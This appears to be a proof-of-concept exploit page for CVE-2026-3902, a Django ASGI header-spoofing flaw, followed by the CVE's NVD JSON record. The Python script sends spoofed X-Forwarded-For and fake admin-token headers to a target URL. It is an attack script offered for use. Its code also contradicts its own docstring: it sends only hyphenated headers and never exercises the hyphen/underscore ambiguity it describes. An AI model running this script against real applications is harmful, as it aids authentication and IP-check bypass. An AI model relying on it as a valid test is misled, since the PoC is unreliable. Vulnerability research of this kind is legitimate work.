CVE-2026-3902

import asyncio import httpx async def exploit_asgi(): """ PoC for CVE-2026-3902: Django ASGI Header Spoofing Demonstrates sending a hyphenated header to potentially override an underscore-parsed header in vulnerable Django versions. """ target_url = "http://vulnerable-django-app/api/test" # Attempt to spoof a header that the application might trust. # For example, if the app looks for 'X_FORWARDED_FOR' (underscore), # we send 'X-Forwarded-For' (hyphen) which might map to the same key # or cause ambiguous behavior in the vulnerable ASGI handler. headers = { "User-Agent": "CVE-2026-3902-Scanner", "X-Forwarded-For": "1.1.1.1", # Spoofed IP "X-Auth-Secret": "spoofed_admin_token" } async with httpx.AsyncClient() as client: try: response = await client.get(target_url, headers=headers, timeout=5.0) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text[:200]}") except Exception as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": asyncio.run(exploit_asgi())

{"cve": {"id": "CVE-2026-3902", "sourceIdentifier": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "published": "2026-04-07T15:17:46.353", "lastModified": "2026-04-13T17:38:05.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30.\n`ASGIRequest` allows a remote attacker to spoof headers by exploiting an ambiguous mapping of two header variants (with hyphens or with underscores) to a single version with underscores.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank Tarek Nakkouch for reporting this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2", "versionEndExcluding": "4.2.30", "matchCriteriaId": "C78D8198-229F-45A2-B09D-C1D272878E3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2", "versionEndExcluding": "5.2.13", "matchCriteriaId": "5ED295FD-7063-40A1-9A3E-C0CC4D6F7BD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "344A677E-BD67-42F0-9746-5B0D4C53815E"}]}]}], "references": [{"url": "https://docs.djangoproject.com/en/dev/releases/security/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://groups.google.com/g/django-announce", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Release Notes"]}, {"url": "https://www.djangoproject.com/weblog/2026/apr/07/security-releases/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}]}}